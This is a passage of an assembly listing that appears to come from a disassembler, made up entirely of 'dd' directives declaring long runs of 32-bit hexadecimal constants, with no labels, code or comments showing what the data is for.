		dd 9B00FE7Fh, 0B5584D68h, 64908881h, 45EFB910h,	0DD014E48h
		dd 82B28A28h, 42BEF40Fh, 72C43654h, 338A490h, 0B7C807Ah
		dd 10E92091h, 342D0038h, 23939667h, 0B7007B01h,	0C055ACE7h
		dd 338112Ch, 57E59E12h,	10002D22h, 7D58EF5Bh, 7E60DD7h
		dd 0E036CAC5h, 6AE2C0BFh, 6100A61Dh, 0F0BE5660h, 45CBACh
		dd 0EF7CF8CAh, 7259437h, 9CE4F70Eh, 5EE5E02Ch, 5CAFB1D5h
		dd 5800A823h, 1C5A868Bh, 8E3A52A7h, 0A2648004h,	9785A54Fh
		dd 0B13D0020h, 0C1C41E45h, 9600567Dh, 1884437Bh, 181A3DFh
		dd 8BCB53EBh, 0E1D7AFE3h, 0BCE9FC06h, 7AEEB800h, 0DFD86EE4h
		dd 0C6C00044h, 5B3E4F56h, 8000E719h, 5AF44578h,	0C2DA6h
		dd 3F56338Dh, 7626C54Eh, 209B5500h, 83D56EC2h, 2ABA389Fh
		dd 8667C307h, 0E4EA1023h, 0AE00D05Fh, 4DDD176Fh, 173BBDCh
		dd 0DF49D59Fh, 0F456B0B7h, 0CF8C62Ch, 1D92A909h, 0D4A980BFh
		dd 4811876Bh, 6300B431h, 0AD16D7F9h, 150064FCh,	0F37FC7A9h
		dd 0F022B9h, 8D452070h,	0AB10D0EFh, 0AD014490h,	0B5E8625h
		dd 622121DBh, 1BDDFC00h, 39700FFh, 947A8F43h, 0D71D984Fh
		dd 6F83E01Ah, 0B037C5BAh, 106EC0h, 0DF60D6FFh, 0F12E87FBh
		dd 6458DA00h, 0B41DB2BDh, 0CA993AA7h, 53C003FFh, 0DE434E93h
		dd 463DBDB8h, 0D7EC6201h, 0E9C8CBAFh, 0B45E70h,	0F7D98818h
		dd 6CE4C98Bh, 1B9ED500h, 0E007BA41h, 76A60017h,	0EC7CA943h
		dd 360C37DDh, 0D089547Dh, 0DFA503E6h, 73129A0Dh, 1FF43AB0h
		dd 743CD6F0h, 65A6808Bh, 0B65FFF24h, 3E700038h,	86970E69h
		dd 3605EEBFh, 0A6191723h, 4343BAC2h, 0C66DC818h, 94900Fh
		dd 0D1E19529h, 0AD8E4710h, 0C3FADE00h, 0F3E2E56Bh, 1C66005Fh
		dd 0DDC46EFDh, 0B87B39F9h, 41B95800h, 45E83F8Dh, 7A330070h
		dd 904AB075h, 7400BE3Eh, 18696F0h, 90F5D56Ah, 0A1DE01DDh
		dd 0BE952B55h, 2E2709Fh, 3340DA60h, 38424F2h, 181BE160h
		dd 0B3FF8CD5h, 2FD03DAFh, 0DE0734A2h, 0D30C142Dh, 7384C03Eh
		dd 0C6D3BB4h, 37B7D820h, 3E00B5D8h, 0BD4D71F9h,	0FAEC03h
		dd 340EB82Bh, 5AC3AB37h, 1FC07D02h, 4081CBC1h, 0F450F4ECh
		dd 3D398DBh, 3FFD0FD0h,	87B9A99Eh, 7CABD4C0h, 4B77E700h
		dd 0AE644D41h, 0B0C500C7h, 0DA3C391Eh, 3AC0DC3Bh, 2090CAF4h
		dd 43BA017Ch, 0FFEC52BBh, 23337047h, 0ED2A4A0Bh, 0F8D80061h
		dd 7DFB0916h, 1EC9003Ah, 94BEF030h, 500049E1h, 0DBA4F514h
		dd 303A0331h, 32D84DBDh, 494C09F7h, 0C88B006Ch,	98AF631Eh
		dd 15898E8h, 0F146CC15h, 208D8CE9h, 0C5002E18h,	0E1E0B39Bh
		dd 0F2277013h, 4CC8C09Fh, 3CC15281h, 0DD34B400h, 0CD55794Bh
		dd 0C0281E80h, 0AD0B807Ch, 434632D5h, 3FEC6458h, 847107B6h
		dd 2331A80Eh, 0C4EC918Fh, 422B18D3h, 0E8539E59h, 0C0B5FE02h
		dd 0C0A074E6h, 79EB7DF8h, 0D0555C46h, 0BB562D00h, 3BC9CDE2h
		dd 69E5950Eh, 3E156C34h, 2CFC0Ch, 1F2E9164h, 4374E3DBh
		dd 0A92A5600h, 9F1BF2D1h, 8021B8ECh, 0FB0188h, 0D999BE04h
		dd 85EA7FFh, 84FA8B0Eh,	9DBCF4BBh, 8827FD81h, 0E430440Eh
		dd 0D83F2C70h, 69A10063h, 433DD24Ch, 0D3256B05h, 9000938Eh
		dd 0A3714547h, 18EE5CBBh, 0ADA63C7Bh, 4D05B0C9h, 80750AACh
		dd 30272968h, 80D5D2EBh, 637D9456h, 26689041h, 0EECAC2h
		dd 3E61A178h, 8201BAF2h, 0E3B017E2h, 9840E81Ch,	0F834FE45h
		dd 88EE3DB7h, 546AA70Ch, 4203A318h, 0E3A2F55Bh,	9364B0D2h
		dd 0C2100039h, 505E94FEh, 463B69A4h, 21007C71h,	0CF3547B8h
		dd 26C4E12h, 57450F99h,	0D760F1A0h, 527C03CEh, 87FFEB00h
		dd 0E3DC2F7Bh, 745C0E4Bh, 0F2E394E1h, 7648CCF0h, 51B10064h
		dd 0E88E36ABh, 0A0484EA8h, 4B003B17h, 0CFD74AD4h, 0FE2E0D6h
		dd 0B8388DCBh, 0B4F14880h, 0C8003720h, 98F3C3C4h, 3ECAB559h
		dd 0E28A9B32h, 0FB08A9Eh, 2FC07537h, 0F53994AEh, 0EF1FC8F2h
		dd 7440472Ah, 0DE9BA38Dh, 0BCB800CAh, 7923EB2Eh, 0A4E8E427h
		dd 0DD9CD900h, 50D1EEFDh
		dd 69103E3h, 96C11E66h,	725201F0h, 5EEA8200h, 86547525h
		dd 0C943008Eh, 8F5B6CFBh, 0AE7A9552h, 0BEF6DFFEh, 9F006B71h
		dd 0F3DAE1E9h, 9A519A9h, 76410BB0h, 7FB18C80h, 98772AB9h
		dd 0AF000779h, 1770F457h, 919C13h, 4134D79Ah, 0F274D44Ah
		dd 0E62FAF00h, 0FB31A80Fh, 94461310h, 0C2AC00DEh, 727A0A2h
		dd 76079DE4h, 2C536C9Bh, 8B65CBE0h, 0A2E00CDDh,	9578371Fh
		dd 0FC7F7D17h, 0D80F840h, 4A3C7A5h, 3E8E096Ch, 0EAFC90D0h
		dd 8B7C64B4h, 44032C98h, 3006E3D5h, 0E1A9C80Dh,	0ADCB01CAh
		dd 8DF48A18h, 88BE07h, 43F7C813h, 565F02h, 0B3E05D0Fh
		dd 78B40883h, 0A6FB9901h, 9A53E1DBh, 0BC5FC40h,	14F43D58h
		dd 0DC87D187h, 0EC7FC1A5h, 36123055h, 4F6BB1Ch,	33986740h
		dd 17559FBh, 7F071EA6h,	0C826D7CDh, 0F2A2E6Eh, 7843AC31h
		dd 6CEE5E00h, 0E1F26BF4h, 6A6080E2h, 0C38DCA10h, 0A0D80B5Ch
		dd 1F8EAD6h, 80541E2h, 910351F6h, 9D3AF8C0h, 20A88144h
		dd 281FC72Ch, 1540A9E7h, 0F29B03FEh, 4FB502CCh,	949E2661h
		dd 0C44474C0h, 8F25B938h, 0E5031CB3h, 26C0D950h, 8898D3h
		dd 955DE3D2h, 574B9DB5h, 1E365409h, 49E0005Fh, 6C7586h
		dd 6E224550h, 2E5B5291h, 3DDD93Dh, 3718AC41h, 9C780027h
		dd 0C7B8467h, 49E61A62h, 0F9CB9E00h, 94D7E420h,	0ACF40995h
		dd 0CA088CFh, 20E19FAh,	18C3351Dh, 730016EEh, 2A986CE5h
		dd 23AF00B0h, 7C15593h,	813EFFC7h, 0ABAD0EE6h, 100076F4h
		dd 8E9478F5h, 7B5E00AEh, 30FC073Ch, 4C007C59h, 0CB6FC423h
		dd 3A2C836h, 503BDF5Bh,	27E84117h, 58E8C680h, 4A132F03h
		dd 0B06824D6h, 1EBAD4Eh, 0D5693641h, 30CE238Ah,	781D4A9Ch
		dd 318B35A7h, 2278181Eh, 3CE52408h, 0BB4502FDh,	0E880FD53h
		dd 11710177h, 10B3EB03h, 8B648C33h, 0E89A8387h,	0FEC71624h
		dd 2EED004Ah, 33B1A562h, 6E7C3936h, 0E57C4900h,	0D1DA3F38h
		dd 393725Bh, 5E7784B2h,	8288D30Fh, 2600CF2Bh, 18B7588Bh
		dd 11031A1h, 1B4FA47Ah,	805BACFEh, 0C2B45C18h, 0E99AD5h
		dd 55FC4896h, 2BBD7485h, 0E13148h, 714CF1Eh, 90565164h
		dd 80982EE6h, 0FD4700CDh, 0AAFB6C93h, 64D88D00h, 0A49F4FAh
		dd 0F6E5000Fh, 0EB742032h, 0FF78465Ah, 31A34Ch,	782FBFC1h
		dd 0F65879C6h, 0C2B80330h, 4156C5B9h, 10E86093h, 273DA525h
		dd 4AEB8FAFh, 96805C2Dh, 0FC14F229h, 3BFAE097h,	0B60183FBh
		dd 8C66D93Eh, 48C3C026h, 0DA00E179h, 15354B29h,	0FFE3E2h
		dd 5797DE7h, 0C48E890Ah, 21A51F0Bh, 0D42D8013h,	0FCFC661Eh
		dd 9592009Dh, 0CDBB99A1h, 2A00FD32h, 9B9744B9h,	18E9CDCh
		dd 0A0A3CB7Ch, 2F5B902Dh, 0CF573580h, 0E8AD0097h, 0B81D1666h
		dd 0A4525E79h, 28501CCh, 0ACFCA7A9h, 500E1BECh,	0DEFEB6h
		dd 0E8CE6D47h, 6E90C07Ch, 46434100h, 491FDCF6h,	5C4200C9h
		dd 0E4F062B9h, 0B30E3FBFh, 0E1B69740h, 7A743E8h, 131ABCF0h
		dd 65B0C03h, 41E08DFCh,	0E8F92F76h, 170009FFh, 187E9FCAh
		dd 72908C6h, 1B2EA686h,	0B68A60B3h, 0B900ECBFh,	2BB4BDEAh
		dd 0B814F5C2h, 2FFE00CBh, 93B8296Ch, 0D5000DDAh, 1E447E1h
		dd 30F05B10h, 0BC499C35h, 9500AD2Ch, 96622027h,	7669C4D7h
		dd 8FD61CE0h, 0B4078F77h, 902411E4h, 74B5425Ch,	8B00F1B0h
		dd 4FDFB8B2h, 34DEF0h, 64A4B0A7h, 690A42A5h, 85D7FF0Eh
		dd 72BA4094h, 0E7547h, 5DB5CEC6h, 64449F5Ah, 150D771Ch
		dd 0E3051FAEh, 0FBC00453h, 2454EC36h, 208337Eh,	2DF4B038h
		dd 151EA983h, 41A0BABBh, 20CC8F1Ah, 0F86818B3h,	0F82708DDh
		dd 0B5003F4Ch, 8CA6BE15h, 0A1B60053h, 71EA526Ch, 5C00673Ah
		dd 0D8362A23h, 0B1AEACh, 8AB21672h, 33745239h, 0C8B64239h
		dd 9CAC0048h, 0B3A24F53h, 685AE6B1h, 0F17025h, 4AABEF2h
		dd 0A105B752h, 2667899Bh, 7B80945Eh, 6C3E5933h,	0F2EF005Ah
		dd 9AD1517Dh, 377B93C5h, 186F8800h, 9B3039DDh, 3D56E0CEh
		dd 0E4817D53h, 8B29EC8Ch, 0C6AC80Bh, 3FF20800h,	1F56AE19h
		dd 0E17B9Eh, 0BE78F851h, 0C0D16260h, 0D99C8300h, 47E718F7h
		dd 1AF500E3h, 0E8569625h, 15015FB0h, 1BA65E03h,	9DC849D5h
		dd 735D00E0h, 0B9EA2833h, 4F00DD29h, 0D7E12E98h, 1C9A15A6h
		dd 56E6B7EDh, 8B2101CBh, 30A18582h, 56000736h, 299F621Bh
		dd 0ED2666Dh, 77E1133Fh, 0A003BFB2h, 0B09A6E61h, 79785C2h
		dd 736AFE46h, 230A5042h, 0C4054C30h, 8D73ED9h, 6A0FF45Dh
		dd 0FD8101A1h, 0E1D339C3h, 4229968h, 0EF735F00h, 6463607h
		dd 0FEBE4C0Eh, 21048C0Ch, 5EB4C72h, 10330071h, 0B8997188h
		dd 371F2A2Fh, 2870EC2Dh, 0C9B11Eh, 5B74A8FCh, 0D90E47F1h
		dd 70DC57F9h, 0D2C244A0h, 610911C0h, 6A171F0h, 54BE537Ch
		dd 0D36008F4h, 0F0296621h, 0DF8F02F5h, 68BF276Ch, 0BB8897E0h
		dd 92784E60h, 49C1EA3Fh, 58004C35h, 975A8546h, 2D331E72h
		dd 6909BBh, 858FF821h, 12EE0A7Fh, 1CA158h, 0DC39C457h
		dd 0D9A0D42Bh, 1959A8B0h, 29703820h, 115424A1h,	2B6F0020h
		dd 9B684BF0h, 0D60C0E95h, 8360F2E6h, 2832CF71h,	2EF28C6h
		dd 40D40E31h, 9960C519h, 0FFEBED41h, 4D6CD100h,	0F66596D5h
		dd 1FC67F47h, 0C10D01D2h, 2CB4AB29h, 1322DCE9h,	0FAD02A00h
		dd 0F4D4A125h, 0B9AD003Ch, 7FD689A4h, 0F1E6052Fh, 3200BDF2h
		dd 5D4CB793h, 0FC70283h, 0A78C67E4h, 2FE6A6E0h,	0C37B57A3h
		dd 0A26B491Eh, 0DD12F0C0h, 0A41C7Dh, 0BBA89668h, 0E620C894h
		dd 5E455Ch, 1760AB76h, 0FC02F93Eh, 0F57F3A77h, 14064800h
		dd 331FE6C5h, 0A775B100h, 0AD5AAE1Dh, 0D86503DEh, 0E0A210D6h
		dd 796E1EC0h, 0C9534700h, 0EE229181h, 808C02FBh, 5DE4E0C5h
		dd 0C7DE25E0h, 9CC8DD00h, 6F55A6E3h, 40280078h,	0EDF2B3E5h
		dd 7D0CFF85h, 580454B1h, 0FCBA38E4h, 264E0F80h,	0D053138Ah
		dd 69574A01h, 0E75C7507h, 3C2752F0h, 0F418649Dh, 8CC53911h
		dd 9F789510h, 0DC8FF100h, 0D2C11D98h, 183EA940h, 31FECDABh
		dd 0EF7646A0h, 0BF4C4100h, 53345DF0h, 0BAE1C0D3h, 52C739B9h
		dd 982B1B00h, 0FBDA4436h, 93AA00F4h, 2105AC2Ah,	0AD33083Bh
		dd 3BA6F854h, 54E70F19h, 10689C78h, 0EFFFAB18h,	63E7F759h
		dd 0FE7F81A3h, 0C74A44B1h, 80A443E1h, 0DB944218h, 36383Fh
		dd 99A2E892h, 0C3C22F90h, 0C135C000h, 0E7BF4402h, 1ECFC96h
		dd 97FBC926h, 0E0A3CEA4h, 4102E825h, 0AA92FF8Eh, 612F6232h
		dd 0EBE55BC6h, 7D8ADCh,	9623B909h, 7BBB86E3h, 50ECE4E8h
		dd 0D4163D01h, 0FC8CABDh, 0E8C93AE8h, 0BE21C06Dh, 0C0FE0171h
		dd 9A9E7400h, 0DC071D47h, 51A58070h, 893AC490h,	2D100F8Fh
		dd 0E9B94040h, 0DDDE27h, 41B8F211h, 5FE46CC0h, 6A7FFE00h
		dd 69C96224h, 671C01DDh, 0AF1438E3h, 0D8A0876Ch, 70A0D652h
		dd 28502Eh, 90ADD76Bh, 0B22C36E9h, 19D87800h, 0F85CB8AAh
		dd 0D6A800C4h, 707CE3ADh, 0C75332FCh, 12F38120h, 40096729h
		dd 0E5E12A4Ch, 86CA0A38h, 6184E27Bh, 68A03F9h, 25680BA7h
		dd 0C3ACAE88h, 5D2CC406h, 60E5A9h, 27E70D72h, 0DC284574h
		dd 2C125674h, 0A9073734h, 0C0913984h, 0F881705Ch, 7A29A864h
		dd 63608065h, 99ADB707h, 2438A17Eh, 2AC91C60h, 0A8C0F79h
		dd 0E015D8E5h, 99140210h, 8F1881F4h, 0F641CE56h, 0C15F0426h
		dd 396BA430h, 0C3B6A0h,	3B29D3E1h, 71DA0ED6h, 74982C00h
		dd 63B04C7Dh, 38D0D8A7h
		dd 8CA1D291h, 287CD829h, 0E139C800h, 0E3DDFE1Dh, 11C939Dh
		dd 0BDAD1638h, 87F119D2h, 30A79040h, 952300E9h,	81C18B06h
		dd 757EB814h, 0E1C8EF50h, 9F3B0100h, 33CC0967h,	58DD6017h
		dd 22940370h, 692EB803h, 2A06616Fh, 0BC7E09h, 7422D5A3h
		dd 91DF5653h, 0B51D6A7Dh, 25C1A923h, 5DADB9F3h,	313F8048h
		dd 7E1A860h, 80E9801Bh,	5EAB26EAh, 97EE00CDh, 4955D586h
		dd 8903CB7Eh, 0E37F0F75h, 8B9190CEh, 441C0D6h, 0A7323BA0h
		dd 7B4B0707h, 8C2ECF4Ch, 9321D8h, 0C4AC3BA8h, 397A356Fh
		dd 5AA3770Fh, 91688CF6h, 3C327F70h, 0AC5351B0h,	0A9F81DE4h
		dd 2E1500ACh, 0FA81CFC2h, 0C125FC03h, 0E0993ACBh, 0AE4CCFFh
		dd 57A89F33h, 550F4FECh, 24A4DC03h, 0DA828900h,	708B18BCh
		dd 317903EDh, 0AD34E505h, 7C84C20Ah, 57118027h,	30E7A68Fh
		dd 324CB4A7h, 390029DFh, 8893EC3Bh, 0B20060E6h,	818722F4h
		dd 190F6Fh, 0AE4D2510h,	717F316Dh, 0A1E20430h, 11CA343h
		dd 27AC849Eh, 98BC8CD0h, 0D921E108h, 0DD1C00AEh, 0CBC65A04h
		dd 0FC0430D7h, 7AF3567Ch, 0E0070C94h, 0C183D6BCh, 9A48C419h
		dd 2B2DDECCh, 11E0FFA7h, 0D56A0031h, 0BE713D3Bh, 9BB081h
		dd 0C4E55273h, 29C6D825h, 0E6508C03h, 0A08A60E9h, 12ECC10Ah
		dd 11B6E8Dh, 0C64A0CC6h, 0B79AF070h, 0E820DF48h, 0F3018CADh
		dd 61A2EDE7h, 1835721Dh, 76EB4B60h, 67B800BAh, 0F034C08Fh
		dd 0C6FA375Eh, 300BE803h, 0D8A0B7DBh, 0ABCB2BB3h, 8881949Ch
		dd 6C32BBD4h, 4F530275h, 1F24527Bh, 0C8E2FC60h,	0C3FA424h
		dd 945FB280h, 0F160743h, 9BF19E7Ch, 2FFCCA0h, 0A41D24B4h
		dd 3E438CB9h, 0B2D8E287h, 84C08986h, 3E60DF2Ch,	0BD13AB16h
		dd 102CC9A2h, 15602A5h,	0AA8EA397h, 28B580A0h, 0D2045CBDh
		dd 0CF3F148Bh, 8080409Bh, 98CA9C6h, 3FD6130Eh, 4321FA06h
		dd 0DC0AC7F4h, 4C0DF800h, 2AA8DD74h, 0A1B4AA50h, 0A618564Ch
		dd 84971C08h, 55CC70B4h, 0DFA01C00h, 0F4C63213h, 0D38F746Eh
		dd 14B90071h, 11C2A9E7h, 1366AE00h, 762BC8Dh, 6BFA034Ah
		dd 0AB8F45B9h, 6EF3311Dh, 2F033A43h, 2406953Eh,	71DD07h
		dd 914FD787h, 6440BD93h, 0ECCB9F00h, 34D1B466h,	60EAE56Eh
		dd 86689CA8h, 0AD229704h, 7462812Eh, 22FC4620h,	35B0004Ah
		dd 0E6C5725Ah, 0A560166Eh, 0B2FF1D21h, 20840003h, 0D6722EFEh
		dd 0A8039AE0h, 6A629FAh, 64A90632h, 3925FE56h, 206B1400h
		dd 8FEA91BDh, 1A752C52h, 102A84h, 2EF967E5h, 0CB074EF5h
		dd 0C0874090h, 3960EA64h, 3FE2EC2Eh, 8E672601h,	0FA3E03C5h
		dd 0CF0189B9h, 0D36FF225h, 1DD7E82Ch, 9C249906h, 7649A607h
		dd 1630103h, 863E8584h,	0BC62A4h, 29145F32h, 0F3AA6Bh
		dd 0ACFED4DBh, 78F0D6FDh, 34EC6E00h, 0A48D620Bh, 0A4567832h
		dd 663009Ch, 93FA3864h,	7834D605h, 0C8291CCh, 3BA130AEh
		dd 1FA43912h, 966C38h, 45093BA9h, 4ED2958Ah, 14055775h
		dd 0B0F3C424h, 206EF882h, 232C256h, 69877500h, 0EC92B1F7h
		dd 0CAA83B29h, 28BEBB3Eh, 49E26381h, 0F440F469h, 0A20043B3h
		dd 0D7E7DDF5h, 28C02878h, 1DD8A971h, 38DF42h, 447CA84Fh
		dd 600084B8h, 0E2F2F8AAh, 9F8C13h, 0A3A0B6D2h, 0B2BC2454h
		dd 8481B400h, 7BED3994h, 3A50706h, 0C035FC3Fh, 0DE0B83Dh
		dd 3765090Fh, 0EE40FCCCh, 25071AEBh, 0F971077Dh, 904E0D91h
		dd 20BEECE5h, 0F7370100h, 0BDE863BCh, 1FB500EFh, 678A22F8h
		dd 0BA3A048Dh, 0C5C8FE7h, 0E1ACA126h, 8080BCAEh, 681AA785h
		dd 3A003C40h, 447BAFA1h, 6B06CEh, 0E4C3E08Ch, 0F0163475h
		dd 8D64FB00h, 0B4C82D9Ch, 13F9007Bh, 24F26A93h,	0B700C5B5h
		dd 0E804523Bh, 0C0545Eh, 2F64E217h, 0CF053A98h,	92902877h
		dd 0FBF8A524h, 14AA240Fh, 4ACD0E8Fh, 729280C7h,	2717C6h
		dd 4D8B106Eh, 41982486h, 40CE9330h, 1A21FDFh, 44334905h
		dd 10D9FDF7h, 78DDD15Ch, 2970FD8h, 7FE0CF4Fh, 0BA6B79BCh
		dd 11175D00h, 9089E5BEh, 2E1B3B02h, 0BF254880h,	3C4ACCBCh
		dd 9893E900h, 19BAF66Eh, 0E4B4035Ah, 7C2D411Fh,	0EC9A71D0h
		dd 0AA4A4900h, 44ED9C88h, 0F305398Ah, 0C5122980h, 0DE1C8D7Bh
		dd 4F03D305h, 8000EE43h, 2B732FEFh, 0CAA0984h, 0A7006C0Fh
		dd 0E9B5F260h, 0D2D30500h, 4F954A67h, 14F00022h, 0B38FE86h
		dd 3D3FADBCh, 0E17582FAh, 80852CF2h, 771DA7C0h,	0A2AF3CA0h
		dd 0D4048E00h, 0CAD621F8h, 1B91F000h, 0EE4443A7h, 64EB3E82h
		dd 40A9ED98h, 0ABF4F6CDh, 44C06F50h, 99DCCB00h,	24F3A393h
		dd 1740078h, 98C17B68h,	0A901FC54h, 0F6AC9A4h, 11FD1405h
		dd 80EBEEF5h, 663309h, 0DA4E4688h, 0B34183AAh, 2CB97100h
		dd 0D47C9981h, 46D80053h, 0BBA6361Bh, 0B8EA5C5Ah, 97A4F100h
		dd 7C782B99h, 690100EDh, 0EB73627Eh, 0E500630Ch, 46ACE1C9h
		dd 1942EEEh, 0E0B10258h, 0CC5CD3B3h, 0F80EA7A9h, 0A16F7B93h
		dd 0BE5707EAh, 0AFD9D0h, 592A86Ch, 47E526CCh, 8D62433h
		dd 0FE2103B3h, 5B3892B0h, 8D74C1B8h, 1FBA18D4h,	7C800D96h
		dd 24220FC7h, 188E00A5h, 0AFD2DF8Ah, 3300EA8Ch,	0FCA87BF0h
		dd 0B91A74h, 7775280Ah,	0C2F5AF3Ah, 4F914A0h, 14B47E00h
		dd 4D16A09Eh, 61A17406h, 0FC0E21C4h, 0A7C92081h, 174F1300h
		dd 5A2824D9h, 2B4D3BFBh, 0E974968Ch, 4A7B8CB0h,	8BF3E80Eh
		dd 93B8633Dh, 1B081815h, 391F20D6h, 8DE3E800h, 0A6105E3Ah
		dd 0A47930F4h, 97315FD8h, 4CE0551Dh, 0E8A9C207h, 0A163AF00h
		dd 389F2EB3h, 59570008h, 448746B8h, 950F8D00h, 1CB9029h
		dd 0EAC500A2h, 39BD4AD5h, 0A430925Bh, 488BE9DEh, 2384007Dh
		dd 15302ECEh, 0C20050ACh, 518858Dh, 67356069h, 0D0AF20B5h
		dd 9C380615h, 0A33D20A7h, 4C2C0180h, 42B6C9A8h,	930EEB0h
		dd 14DB117Eh, 0ACBA8496h, 693D1700h, 0A50044E9h, 1103F5E7h
		dd 994A5Bh, 26FC6EE5h, 36C24DF0h, 548451C2h, 11BC8DFBh
		dd 0ABB0040Bh, 10C0ADF7h, 55C56341h, 0BB5A48CEh, 0F51CAA00h
		dd 0BD7DBC46h, 83F6AB00h, 0EA748D56h, 5829C477h, 0C72D449Ah
		dd 449F8A44h, 14486820h, 24C17342h, 0C4E6218Eh,	9C119012h
		dd 62007CE9h, 8D4C5742h, 65C8008Ah, 0EF9EFDEAh,	0F7D40901h
		dd 0A300BF16h, 632DCCB7h, 25BB5B01h, 0AC433723h, 715614F8h
		dd 3FDF00C3h, 35F91779h, 480022B7h, 94641F1Bh, 0C8A3CFh
		dd 0D69CC2E9h, 0F78C9B6Fh, 2ADE8000h, 7DFEC608h, 0B37B0014h
		dd 0D54F921h, 0FB0095D3h, 0E781BB9Ah, 0AF8DD6h,	0FD79D8F0h
		dd 2D1A6BB1h, 9C0D9000h, 0E32A9EEEh, 595D028Bh,	0C284EBCBh
		dd 28A125C0h, 780A2500h, 220D80C9h, 7A890B5Bh, 0C38CCB4Ah
		dd 4B00F09Eh, 0BFA9DB74h, 3016A27h, 2E1C0BEDh, 19009B3Dh
		dd 9264554h, 15C46D6Eh,	0F034A3E4h, 41522800h, 0C8F6D995h
		dd 0E9AA807h, 0CE7EF00Dh, 0AA81C102h, 7620B2BFh, 7BD830F5h
		dd 0B0B79710h, 9474E01h, 0F4CAC7B9h, 0F2F45C25h, 0B6DF0049h
		dd 0CE567230h, 8201C821h, 2885FEC2h, 118735BBh,	30CC7B37h
		dd 555BB236h, 417A4477h, 0C8BFF214h, 80493AA8h,	1D036591h
		dd 4C9AEE5Dh, 0C00C7DAEh, 98884B48h, 7C21A201h,	0F5E2A9EBh
		dd 13B760h, 0BD014105h,	988EDBE3h, 0B691BA00h, 0C0A067EEh
		dd 0F6FA02h, 5A6FC72Fh,	37AF72F1h, 0D055B801h, 58207974h
		dd 0BA2BA8E7h, 0B6DA006Eh, 0A2113B7Ch, 4A000233h, 0B1FA1DF2h
		dd 0E995DBh, 0CCB882A8h
		dd 516CA466h, 20E780F4h, 0F70EAE9Ch, 0C1B6B77Dh, 9EA089A7h
		dd 0FB866E8h, 0F8B44F91h, 85784AE0h, 47055D80h,	64310FFCh
		dd 544B47C0h, 0C6E71FC9h, 0AB064082h, 56206FA0h, 324AA600h
		dd 1ACD863Dh, 0BF5401ECh, 0AF0D5713h, 79E04017h, 0AB008490h
		dd 1955AAD0h, 408218h, 6D2DA73Eh, 0A28847E1h, 0FDAFDE1Fh
		dd 89C04FDDh, 677DFF1Eh, 0D3B1898h, 0F31C1129h,	80B0BC3Fh
		dd 4213014Fh, 1A15ACh, 5F0E34AEh, 0D7685946h, 4F8CF100h
		dd 0A4FE2B79h, 0B22A014Ah, 721E2C22h, 9BC0ECDAh, 0E0F433F0h
		dd 0BFA53400h, 79EBB46Fh, 0ED0500D5h, 2A4DF86Ah, 2E008ADEh
		dd 6087207Ch, 136DC5C3h, 40C8550Ch, 3573A844h, 0B3EEEDC6h
		dd 0D0653B00h, 9FEBB904h, 0F36D0036h, 0B50C859Bh, 0E0181F0h
		dd 0A483388Ah, 17C4A966h, 0BF9300AEh, 59FB5301h, 0F000B4B6h
		dd 30FDBEAAh, 0B08FE4A8h, 2A7300EDh, 2F21FCFAh,	38C05556h
		dd 0E2BD74EAh, 7AF304BEh, 80B71B57h, 0A852AA7Eh, 0CF885400h
		dd 0E3C6E985h, 226C13CAh, 0A5FF00BDh, 44C1F250h, 0EAF86B07h
		dd 0A2175615h, 2EF09097h, 6AFB5h, 0A45B939Fh, 48E8673Eh
		dd 0EF08760h, 8C1D34h, 5C47B916h, 49817E93h, 0EF6E1800h
		dd 135ACB61h, 60EA05D2h, 0E5C62BAh, 32E08EB9h, 7AEBEEBh
		dd 0A7A2E600h, 0CF7B4BA9h, 79F7603h, 69DD524Ah,	403AB0C8h
		dd 0A261EAFh, 6402CA5Eh, 99C5A627h, 0A8D4B5B4h,	6B5702BBh
		dd 0C166F9FDh, 82BAD60h, 0FECFE903h, 0D80B75C5h, 0BDBA8Ch
		dd 10FA4AAAh, 18D280F9h, 25CFD114h, 0C0730590h,	0D401AF3Ch
		dd 6AEFB138h, 60531887h, 0C287295Ah, 7F9F801Bh,	9850E199h
		dd 1703DC1Ch, 74A0CC15h, 0BDEB90Ch, 0F7F1C70h, 0BE55C76Dh
		dd 0DFB995C0h, 0A50149EEh, 0D34AEBC3h, 86E4B765h, 19D7816h
		dd 6E1DEC56h, 0F585F815h, 59E4406Fh, 5B007635h,	0D33B5EB8h
		dd 0A0C337E1h, 0FA54BC0h, 0CB88BDC0h, 0F3803FC7h, 56B8C76Ah
		dd 0D226F402h, 12006491h, 0E21B66E6h, 989BE070h, 4CE9A04Ch
		dd 9D6A306Ch, 0AC3AD510h, 8F27CE00h, 0BBEAE24h,	100E0F08h
		dd 0D3C15FE1h, 87C22A79h, 32BD0378h, 934F1880h,	1D860092h
		dd 3B637AE0h, 5D1FECE5h, 0F400C82Fh, 1F507EE8h,	751B01B0h
		dd 0E62DD9F7h, 49A44061h, 633019C5h, 3D5980BCh,	89ED0F41h
		dd 0ECA06079h, 965EF390h, 5C7A4607h, 0AB0266C1h, 0B8B0C393h
		dd 90DD8037h, 0EC045A45h, 0A43500BBh, 34EC5554h, 9CD7DF3h
		dd 25CBA5A1h, 20DBCC87h, 3CA4967Ch, 0C3308500h,	42F15B15h
		dd 0CFF4011Dh, 21249986h, 0C81280D0h, 8D5B2AF0h, 1CD30779h
		dd 70498727h, 0F80266A3h, 1525EE48h, 0F4BB59h, 0DE9A7CF4h
		dd 60644694h, 406E701Bh, 53F20420h, 1A06B300h, 122B1154h
		dd 0BE2C006Ch, 0B322339h, 70025BAh, 0A6FAD186h,	0E3DD34h
		dd 1C882831h, 0F3D2B8BCh, 0CA01709Ah, 22E9E791h, 0FBECC4D9h
		dd 0A9870136h, 48E06B45h, 98F8535Ah, 25FEFCE8h,	0F101ED12h
		dd 0A1A0CF17h, 0C45C0C61h, 3D107F2Fh, 8556D700h, 433A1017h
		dd 187E6380h, 0DEE0EE55h, 15045A9Ah, 29BD89FBh,	6C90ECC0h
		dd 48230F17h, 518CFFD2h, 0A300F419h, 0E70ADAC4h, 3C3773h
		dd 0BFD13002h, 94971131h, 0EB1CC271h, 0E25EC616h, 0ADB59F40h
		dd 0E058C9Ch, 0FE8A0415h, 0BEE05FC0h, 547BE72Ch, 60398100h
		dd 899EE446h, 0C13C00B3h, 0A1F11F33h, 4A008FD0h, 0D822C382h
		dd 9242A9h, 7B93FA7Fh, 0FB51B350h, 81E89800h, 0E43C68C6h
		dd 8F943915h, 420FC780h, 8824B7BEh, 0F27A5000h,	75B141C0h
		dd 0E81A006Ah, 85803A5h, 6600CBBEh, 31FDD487h, 0C685476h
		dd 184F0735h, 0F0FFE320h, 3C00CD71h, 4DC5EF5Ah,	0CC66712h
